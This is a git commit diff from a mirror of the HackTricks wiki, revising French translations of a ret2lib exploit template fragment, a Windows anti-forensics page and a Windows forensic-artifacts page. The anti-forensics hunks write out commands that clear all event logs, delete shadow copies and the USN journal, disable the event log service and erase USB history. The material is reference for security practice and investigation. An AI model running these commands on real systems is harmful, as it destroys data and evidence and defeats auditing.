mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
This commit is contained in:
parent
9ff90dbecd
commit
11f1a92bcf
35 changed files with 1084 additions and 588 deletions
|
@ -14,6 +14,10 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% code title="template.py" %}
|
||||
```python
|
||||
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
|
||||
|
@ -226,15 +230,20 @@ Essayez de **soustraire 64 octets à l'adresse de "/bin/sh"** :
|
|||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -12,13 +12,17 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# Horodatage
|
||||
|
||||
Un attaquant peut être intéressé par **modifier les horodatages des fichiers** pour éviter d'être détecté.\
|
||||
Un attaquant peut être intéressé par **la modification des horodatages des fichiers** pour éviter d'être détecté.\
|
||||
Il est possible de trouver les horodatages à l'intérieur du MFT dans les attributs `$STANDARD_INFORMATION` __ et __ `$FILE_NAME`.
|
||||
|
||||
Les deux attributs ont 4 horodatages : **Modification**, **accès**, **création**, et **modification du registre MFT** (MACE ou MACB).
|
||||
Les deux attributs ont 4 horodatages : **modification**, **accès**, **création** et **modification du registre MFT** (MACE ou MACB).
|
||||
|
||||
**L'explorateur Windows** et d'autres outils affichent les informations de **`$STANDARD_INFORMATION`**.
|
||||
|
||||
|
@ -28,7 +32,7 @@ Cet outil **modifie** les informations d'horodatage à l'intérieur de **`$STAND
|
|||
|
||||
## Usnjrnl
|
||||
|
||||
Le **Journal USN** (Journal de numéro de séquence de mise à jour) est une fonctionnalité du NTFS (système de fichiers Windows NT) qui garde une trace des modifications du volume. L'outil [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permet d'examiner ces changements.
|
||||
Le **journal USN** (Journal de numéro de séquence de mise à jour) est une fonctionnalité du NTFS (système de fichiers Windows NT) qui garde une trace des modifications du volume. L'outil [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permet d'examiner ces changements.
|
||||
|
||||
![](<../../.gitbook/assets/image (449).png>)
|
||||
|
||||
|
@ -36,7 +40,7 @@ L'image précédente est la **sortie** affichée par l'**outil** où l'on peut o
|
|||
|
||||
## $LogFile
|
||||
|
||||
**Toutes les modifications de métadonnées sur un système de fichiers sont enregistrées** dans un processus appelé [journalisation avant écriture](https://en.wikipedia.org/wiki/Write-ahead_logging). Les métadonnées enregistrées sont conservées dans un fichier nommé `**$LogFile**`, situé dans le répertoire racine d'un système de fichiers NTFS. Des outils tels que [LogFileParser](https://github.com/jschicht/LogFileParser) peuvent être utilisés pour analyser ce fichier et identifier les changements.
|
||||
**Toutes les modifications de métadonnées sur un système de fichiers sont enregistrées** dans un processus appelé [journalisation en avance](https://en.wikipedia.org/wiki/Write-ahead_logging). Les métadonnées enregistrées sont conservées dans un fichier nommé `**$LogFile**`, situé dans le répertoire racine d'un système de fichiers NTFS. Des outils tels que [LogFileParser](https://github.com/jschicht/LogFileParser) peuvent être utilisés pour analyser ce fichier et identifier les changements.
|
||||
|
||||
![](<../../.gitbook/assets/image (450).png>)
|
||||
|
||||
|
@ -53,7 +57,7 @@ En utilisant le même outil, il est possible d'identifier à **quel moment les h
|
|||
|
||||
## Comparaison de `$STANDARD_INFORMATION` et `$FILE_NAME`
|
||||
|
||||
Une autre façon d'identifier des fichiers modifiés de manière suspecte serait de comparer l'heure sur les deux attributs à la recherche de **discordances**.
|
||||
Une autre façon d'identifier des fichiers modifiés de manière suspecte serait de comparer l'heure dans les deux attributs à la recherche de **discordances**.
|
||||
|
||||
## Nanosecondes
|
||||
|
||||
|
@ -61,11 +65,11 @@ Les horodatages **NTFS** ont une **précision** de **100 nanosecondes**. Ainsi,
|
|||
|
||||
## SetMace - Outil anti-forensique
|
||||
|
||||
Cet outil peut modifier les deux attributs `$STARNDAR_INFORMATION` et `$FILE_NAME`. Cependant, à partir de Windows Vista, il est nécessaire d'avoir un OS en direct pour modifier ces informations.
|
||||
Cet outil peut modifier les deux attributs `$STARNDAR_INFORMATION` et `$FILE_NAME`. Cependant, à partir de Windows Vista, il est nécessaire d'avoir un système d'exploitation en direct pour modifier ces informations.
|
||||
|
||||
# Dissimulation de données
|
||||
|
||||
NTFS utilise un cluster et la taille minimale d'information. Cela signifie que si un fichier occupe un cluster et demi, le **demi restant ne sera jamais utilisé** jusqu'à ce que le fichier soit supprimé. Ainsi, il est possible de **cacher des données dans cet espace inutilisé**.
|
||||
NTFS utilise un cluster et la taille d'information minimale. Cela signifie que si un fichier occupe un cluster et demi, la **moitié restante ne sera jamais utilisée** tant que le fichier n'est pas supprimé. Ainsi, il est possible de **cacher des données dans cet espace inutilisé**.
|
||||
|
||||
Il existe des outils comme slacker qui permettent de cacher des données dans cet espace "caché". Cependant, une analyse du `$logfile` et du `$usnjrnl` peut montrer qu'une certaine donnée a été ajoutée :
|
||||
|
||||
|
@ -76,7 +80,7 @@ Il est alors possible de récupérer l'espace inutilisé en utilisant des outils
|
|||
# UsbKill
|
||||
|
||||
C'est un outil qui **éteindra l'ordinateur si un changement dans les ports USB** est détecté.\
|
||||
Une façon de découvrir cela serait d'inspecter les processus en cours d'exécution et de **vérifier chaque script Python en cours d'exécution**.
|
||||
Une façon de découvrir cela serait d'inspecter les processus en cours d'exécution et de **revoir chaque script Python en cours d'exécution**.
|
||||
|
||||
# Distributions Linux en direct
|
||||
|
||||
|
@ -86,7 +90,7 @@ Ces distributions sont **exécutées dans la mémoire RAM**. La seule façon de
|
|||
|
||||
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
|
||||
|
||||
# Configuration de Windows
|
||||
# Configuration Windows
|
||||
|
||||
Il est possible de désactiver plusieurs méthodes de journalisation de Windows pour rendre l'investigation forensique beaucoup plus difficile.
|
||||
|
||||
|
@ -103,62 +107,63 @@ La désactivation de UserAssist nécessite deux étapes :
|
|||
|
||||
Cela enregistrera des informations sur les applications exécutées dans le but d'améliorer les performances du système Windows. Cependant, cela peut également être utile pour les pratiques forensiques.
|
||||
|
||||
* Exécuter `regedit`
|
||||
* Sélectionner le chemin du fichier `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||
* Clic droit sur à la fois `EnablePrefetcher` et `EnableSuperfetch`
|
||||
* Sélectionner Modifier sur chacun d'eux pour changer la valeur de 1 (ou 3) à 0
|
||||
* Redémarrer
|
||||
* Exécutez `regedit`
|
||||
* Sélectionnez le chemin du fichier `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||
* Cliquez avec le bouton droit sur `EnablePrefetcher` et `EnableSuperfetch`
|
||||
* Sélectionnez Modifier sur chacun d'eux pour changer la valeur de 1 (ou 3) à 0
|
||||
* Redémarrez
|
||||
|
||||
## Désactiver les horodatages - Heure de dernier accès
|
||||
|
||||
Chaque fois qu'un dossier est ouvert à partir d'un volume NTFS sur un serveur Windows NT, le système prend le temps de **mettre à jour un champ d'horodatage sur chaque dossier répertorié**, appelé l'heure de dernier accès. Sur un volume NTFS très utilisé, cela peut affecter les performances.
|
||||
|
||||
1. Ouvrir l'Éditeur du Registre (Regedit.exe).
|
||||
2. Naviguer jusqu'à `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
3. Rechercher `NtfsDisableLastAccessUpdate`. S'il n'existe pas, ajouter ce DWORD et définir sa valeur sur 1, ce qui désactivera le processus.
|
||||
4. Fermer l'Éditeur du Registre et redémarrer le serveur.
|
||||
|
||||
1. Ouvrez l'Éditeur du Registre (Regedit.exe).
|
||||
2. Accédez à `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
3. Recherchez `NtfsDisableLastAccessUpdate`. S'il n'existe pas, ajoutez ce DWORD et définissez sa valeur sur 1, ce qui désactivera le processus.
|
||||
4. Fermez l'Éditeur du Registre et redémarrez le serveur.
|
||||
## Supprimer l'historique USB
|
||||
|
||||
Toutes les **entrées de périphériques USB** sont stockées dans le Registre Windows sous la clé de registre **USBSTOR** qui contient des sous-clés créées chaque fois que vous branchez un périphérique USB sur votre PC ou ordinateur portable. Vous pouvez trouver cette clé ici H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **En supprimant cela**, vous supprimerez l'historique USB.\
|
||||
Vous pouvez également utiliser l'outil [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) pour vous assurer que vous les avez supprimés (et pour les supprimer).
|
||||
Toutes les **entrées de périphériques USB** sont stockées dans le Registre Windows sous la clé de registre **USBSTOR** qui contient des sous-clés créées chaque fois que vous branchez un périphérique USB sur votre PC ou ordinateur portable. Vous pouvez trouver cette clé ici `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. En **supprimant cela**, vous supprimerez l'historique USB.\
|
||||
Vous pouvez également utiliser l'outil [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) pour vous assurer de les avoir supprimés (et pour les supprimer).
|
||||
|
||||
Un autre fichier qui enregistre des informations sur les clés USB est le fichier `setupapi.dev.log` à l'intérieur de `C:\Windows\INF`. Celui-ci devrait également être supprimé.
|
||||
|
||||
## Désactiver les copies d'ombre
|
||||
|
||||
**Listez** les copies d'ombre avec `vssadmin list shadowstorage`\
|
||||
**Supprimez**-les en exécutant `vssadmin delete shadow`
|
||||
**Supprimez** les en exécutant `vssadmin delete shadow`
|
||||
|
||||
Vous pouvez également les supprimer via l'interface graphique en suivant les étapes proposées dans [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
||||
Pour désactiver les copies d'ombre [étapes à partir d'ici](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Ouvrir le programme Services en tapant "services" dans la zone de recherche de texte après avoir cliqué sur le bouton Démarrer de Windows.
|
||||
2. Dans la liste, trouvez "Volume Shadow Copy", sélectionnez-le, puis accédez aux Propriétés en cliquant avec le bouton droit.
|
||||
1. Ouvrez le programme Services en tapant "services" dans la zone de recherche de texte après avoir cliqué sur le bouton Démarrer de Windows.
|
||||
2. Dans la liste, trouvez "Copie d'ombre de volume", sélectionnez-le, puis accédez aux Propriétés en cliquant avec le bouton droit.
|
||||
3. Choisissez Désactivé dans le menu déroulant "Type de démarrage", puis confirmez le changement en cliquant sur Appliquer et OK.
|
||||
|
||||
Il est également possible de modifier la configuration des fichiers qui vont être copiés dans la copie d'ombre dans le registre `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
## Écraser les fichiers supprimés
|
||||
|
||||
* Vous pouvez utiliser un **outil Windows** : `cipher /w:C` Cela indiquera à cipher de supprimer toutes les données de l'espace disque inutilisé disponible dans le lecteur C.
|
||||
* Vous pouvez utiliser un **outil Windows**: `cipher /w:C` Cela indiquera à cipher de supprimer toutes les données de l'espace disque inutilisé disponible dans le lecteur C.
|
||||
* Vous pouvez également utiliser des outils comme [**Eraser**](https://eraser.heidi.ie)
|
||||
|
||||
## Supprimer les journaux d'événements Windows
|
||||
|
||||
* Windows + R --> eventvwr.msc --> Développer "Journaux Windows" --> Clic droit sur chaque catégorie et sélectionner "Effacer le journal"
|
||||
* Windows + R --> eventvwr.msc --> Développez "Journaux Windows" --> Cliquez avec le bouton droit sur chaque catégorie et sélectionnez "Effacer le journal"
|
||||
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
## Désactiver les journaux d'événements Windows
|
||||
|
||||
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
* À l'intérieur de la section des services, désactiver le service "Journal des événements Windows"
|
||||
* À l'intérieur de la section des services, désactivez le service "Journal des événements Windows"
|
||||
* `WEvtUtil.exec clear-log` ou `WEvtUtil.exe cl`
|
||||
|
||||
## Désactiver $UsnJrnl
|
||||
|
||||
* `fsutil usn deletejournal /d c:`
|
||||
|
||||
</details>
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
|
@ -12,10 +12,14 @@ Autres façons de soutenir HackTricks :
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Artefacts Windows Génériques
|
||||
|
||||
### Notifications Windows 10
|
||||
|
@ -30,9 +34,9 @@ La chronologie est une caractéristique de Windows qui fournit un **historique c
|
|||
|
||||
La base de données se trouve dans le chemin `\Users\<nom_utilisateur>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Cette base de données peut être ouverte avec un outil SQLite ou avec l'outil [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **qui génère 2 fichiers pouvant être ouverts avec l'outil** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
### Flux de données alternatifs (ADS)
|
||||
### ADS (Flux de données alternatifs)
|
||||
|
||||
Les fichiers téléchargés peuvent contenir la **zone ADS (Alternate Data Streams)** indiquant **comment** il a été **téléchargé** depuis l'intranet, Internet, etc. Certains logiciels (comme les navigateurs) mettent généralement **encore plus** **d'informations** comme l'**URL** à partir de laquelle le fichier a été téléchargé.
|
||||
Les fichiers téléchargés peuvent contenir la **Zone.Identifier ADS** indiquant **comment** il a été **téléchargé** depuis l'intranet, Internet, etc. Certains logiciels (comme les navigateurs) mettent généralement **encore plus** **d'informations** comme l'**URL** à partir de laquelle le fichier a été téléchargé.
|
||||
|
||||
## **Sauvegardes de fichiers**
|
||||
|
||||
|
@ -72,11 +76,11 @@ Le registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contient
|
|||
|
||||
### Fichiers Office AutoSaved
|
||||
|
||||
Vous pouvez trouver les fichiers autosauvegardés d'Office dans : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
Vous pouvez trouver les fichiers autosauvegardés de bureau dans : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Éléments de Shell
|
||||
|
||||
Un élément de shell est un élément qui contient des informations sur la manière d'accéder à un autre fichier.
|
||||
Un élément de shell est un élément qui contient des informations sur la façon d'accéder à un autre fichier.
|
||||
|
||||
### Documents récents (LNK)
|
||||
|
||||
|
@ -118,7 +122,7 @@ Les **jumplists** créés automatiquement sont stockés dans `C:\Users\{username
|
|||
|
||||
Les jumplists personnalisés sont stockés dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` et sont créés par l'application généralement parce que quelque chose d'**important** s'est produit avec le fichier (peut-être marqué comme favori).
|
||||
|
||||
Le **temps de création** de toute jumplist indique **la première fois que le fichier a été consulté** et le **temps de modification la dernière fois**.
|
||||
L'**heure de création** de toute jumplist indique **la première fois que le fichier a été consulté** et l'**heure de modification la dernière fois**.
|
||||
|
||||
Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
|
@ -132,7 +136,7 @@ Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https://
|
|||
|
||||
## Utilisation des clés USB Windows
|
||||
|
||||
Il est possible d'identifier l'utilisation d'un périphérique USB grâce à la création de :
|
||||
Il est possible d'identifier qu'un périphérique USB a été utilisé grâce à la création de :
|
||||
|
||||
* Dossier récent de Windows
|
||||
* Dossier récent de Microsoft Office
|
||||
|
@ -142,11 +146,11 @@ Notez que certains fichiers LNK, au lieu de pointer vers le chemin d'origine, po
|
|||
|
||||
![](<../../../.gitbook/assets/image (476).png>)
|
||||
|
||||
Les fichiers dans le dossier WPDNSE sont une copie des fichiers originaux, ils ne survivront donc pas à un redémarrage du PC et le GUID est extrait d'un shellbag.
|
||||
Les fichiers dans le dossier WPDNSE sont une copie des fichiers originaux, ils ne survivront donc pas à un redémarrage du PC et le GUID est pris à partir d'un shellbag.
|
||||
|
||||
### Informations du Registre
|
||||
|
||||
[Consultez cette page pour en savoir plus](interesting-windows-registry-keys.md#usb-information) sur les clés de registre contenant des informations intéressantes sur les périphériques USB connectés.
|
||||
[Vérifiez cette page pour en savoir plus](interesting-windows-registry-keys.md#usb-information) sur les clés de registre contenant des informations intéressantes sur les périphériques USB connectés.
|
||||
|
||||
### setupapi
|
||||
|
||||
|
@ -162,28 +166,28 @@ Consultez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodata
|
|||
|
||||
### Nettoyage Plug and Play
|
||||
|
||||
La tâche planifiée connue sous le nom de 'Nettoyage Plug and Play' est principalement conçue pour supprimer les versions obsolètes des pilotes. Contrairement à son objectif spécifié de conserver la dernière version du package de pilotes, des sources en ligne suggèrent qu'elle cible également les pilotes inactifs depuis 30 jours. Par conséquent, les pilotes des périphériques amovibles non connectés au cours des 30 derniers jours peuvent être supprimés.
|
||||
La tâche planifiée connue sous le nom de 'Nettoyage Plug and Play' est principalement conçue pour la suppression des versions de pilotes obsolètes. Contrairement à son objectif spécifié de conserver la dernière version du package de pilotes, des sources en ligne suggèrent qu'elle cible également les pilotes inactifs depuis 30 jours. Par conséquent, les pilotes des périphériques amovibles non connectés au cours des 30 derniers jours peuvent être supprimés.
|
||||
|
||||
La tâche est située dans le chemin suivant :
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
||||
Une capture d'écran du contenu de la tâche est fournie :
|
||||
Une capture d'écran illustrant le contenu de la tâche est fournie :
|
||||
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
|
||||
|
||||
**Composants clés et paramètres de la tâche :**
|
||||
- **pnpclean.dll** : Cette DLL est responsable du processus de nettoyage réel.
|
||||
- **UseUnifiedSchedulingEngine** : Défini sur `TRUE`, indiquant l'utilisation du moteur de planification de tâches générique.
|
||||
- **MaintenanceSettings** :
|
||||
- **Période ('P1M')** : Indique au Planificateur de tâches de lancer la tâche de nettoyage mensuellement pendant la maintenance automatique régulière.
|
||||
- **Date limite ('P2M')** : Instruit le Planificateur de tâches, si la tâche échoue pendant deux mois consécutifs, d'exécuter la tâche pendant la maintenance automatique d'urgence.
|
||||
- **Période ('P1M')** : Indique au Planificateur de tâches de lancer la tâche de nettoyage mensuellement lors de la maintenance automatique régulière.
|
||||
- **Date limite ('P2M')** : Instruit le Planificateur de tâches, si la tâche échoue pendant deux mois consécutifs, d'exécuter la tâche lors de la maintenance automatique d'urgence.
|
||||
|
||||
Cette configuration garantit une maintenance régulière et un nettoyage des pilotes, avec des dispositions pour réessayer la tâche en cas d'échecs consécutifs.
|
||||
Cette configuration garantit une maintenance régulière et un nettoyage des pilotes, avec des dispositions pour retenter la tâche en cas d'échecs consécutifs.
|
||||
|
||||
**Pour plus d'informations, consultez :** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## Emails
|
||||
|
||||
Les emails contiennent **2 parties intéressantes : Les en-têtes et le contenu** de l'email. Dans les **en-têtes**, vous pouvez trouver des informations telles que :
|
||||
Les emails contiennent **2 parties intéressantes : les en-têtes et le contenu** de l'email. Dans les **en-têtes**, vous pouvez trouver des informations telles que :
|
||||
|
||||
* **Qui** a envoyé les emails (adresse e-mail, IP, serveurs de messagerie ayant redirigé l'e-mail)
|
||||
* **Quand** l'e-mail a été envoyé
|
||||
|
@ -219,35 +223,34 @@ Le chemin du registre `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVer
|
|||
Vous pouvez ouvrir le fichier PST en utilisant l'outil [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||
|
||||
![](<../../../.gitbook/assets/image (485).png>)
|
||||
|
||||
### Fichiers OST de Microsoft Outlook
|
||||
|
||||
Un fichier **OST** est généré par Microsoft Outlook lorsqu'il est configuré avec un serveur **IMAP** ou **Exchange**, stockant des informations similaires à un fichier PST. Ce fichier est synchronisé avec le serveur, conservant les données des **12 derniers mois** jusqu'à une **taille maximale de 50 Go**, et est situé dans le même répertoire que le fichier PST. Pour visualiser un fichier OST, le [**Visionneur OST Kernel**](https://www.nucleustechnologies.com/ost-viewer.html) peut être utilisé.
|
||||
Un fichier **OST** est généré par Microsoft Outlook lorsqu'il est configuré avec un serveur **IMAP** ou **Exchange**, stockant des informations similaires à un fichier PST. Ce fichier est synchronisé avec le serveur, conservant les données des **12 derniers mois** jusqu'à une **taille maximale de 50 Go**, et est situé dans le même répertoire que le fichier PST. Pour visualiser un fichier OST, le [**visualiseur OST Kernel**](https://www.nucleustechnologies.com/ost-viewer.html) peut être utilisé.
|
||||
|
||||
### Récupération des Pièces Jointes
|
||||
### Récupération des pièces jointes
|
||||
|
||||
Les pièces jointes perdues peuvent être récupérées à partir de :
|
||||
Les pièces jointes perdues peuvent être récupérées depuis :
|
||||
|
||||
- Pour **IE10** : `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- Pour **IE11 et versions ultérieures** : `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Fichiers MBOX de Thunderbird
|
||||
### Fichiers MBOX Thunderbird
|
||||
|
||||
**Thunderbird** utilise des fichiers **MBOX** pour stocker des données, situés dans `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
|
||||
### Miniatures d'Images
|
||||
### Miniatures d'images
|
||||
|
||||
- **Windows XP et 8-8.1** : L'accès à un dossier avec des miniatures génère un fichier `thumbs.db` stockant des aperçus d'images, même après suppression.
|
||||
- **Windows XP et 8-8.1** : L'accès à un dossier avec des miniatures génère un fichier `thumbs.db` stockant des aperçus d'images, même après leur suppression.
|
||||
- **Windows 7/10** : `thumbs.db` est créé lors de l'accès via un réseau via un chemin UNC.
|
||||
- **Windows Vista et versions ultérieures** : Les aperçus des miniatures sont centralisés dans `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` avec des fichiers nommés **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) et [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sont des outils pour visualiser ces fichiers.
|
||||
|
||||
### Informations du Registre Windows
|
||||
|
||||
Le Registre Windows, stockant des données étendues sur l'activité du système et de l'utilisateur, est contenu dans des fichiers dans :
|
||||
Le Registre Windows, stockant des données étendues sur l'activité du système et de l'utilisateur, est contenu dans des fichiers situés dans :
|
||||
|
||||
- `%windir%\System32\Config` pour diverses sous-clés `HKEY_LOCAL_MACHINE`.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` pour `HKEY_CURRENT_USER`.
|
||||
- Windows Vista et les versions ultérieures sauvegardent les fichiers de registre `HKEY_LOCAL_MACHINE` dans `%Windir%\System32\Config\RegBack\`.
|
||||
- Les versions de Windows Vista et ultérieures sauvegardent les fichiers de registre `HKEY_LOCAL_MACHINE` dans `%Windir%\System32\Config\RegBack\`.
|
||||
- De plus, les informations sur l'exécution des programmes sont stockées dans `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` à partir de Windows Vista et de Windows 2008 Server.
|
||||
|
||||
### Outils
|
||||
|
@ -256,42 +259,42 @@ Certains outils sont utiles pour analyser les fichiers de registre :
|
|||
|
||||
* **Éditeur de Registre** : Il est installé dans Windows. C'est une interface graphique pour naviguer dans le registre Windows de la session en cours.
|
||||
* [**Explorateur de Registre**](https://ericzimmerman.github.io/#!index.md) : Il vous permet de charger le fichier de registre et de naviguer à travers eux avec une interface graphique. Il contient également des signets mettant en évidence les clés contenant des informations intéressantes.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0) : Encore une fois, il possède une interface graphique qui permet de naviguer dans le registre chargé et contient également des plugins mettant en évidence des informations intéressantes à l'intérieur du registre chargé.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html) : Une autre application GUI capable d'extraire les informations importantes du registre chargé.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0) : Encore une fois, il dispose d'une interface graphique qui permet de naviguer dans le registre chargé et contient également des plugins mettant en évidence des informations intéressantes dans le registre chargé.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html) : Une autre application graphique capable d'extraire les informations importantes du registre chargé.
|
||||
|
||||
### Récupération d'un Élément Supprimé
|
||||
### Récupération d'un élément supprimé
|
||||
|
||||
Lorsqu'une clé est supprimée, elle est marquée comme telle, mais tant que l'espace qu'elle occupe n'est pas nécessaire, elle ne sera pas supprimée. Par conséquent, en utilisant des outils comme **Registry Explorer**, il est possible de récupérer ces clés supprimées.
|
||||
|
||||
### Dernière Heure d'Écriture
|
||||
### Heure de dernière écriture
|
||||
|
||||
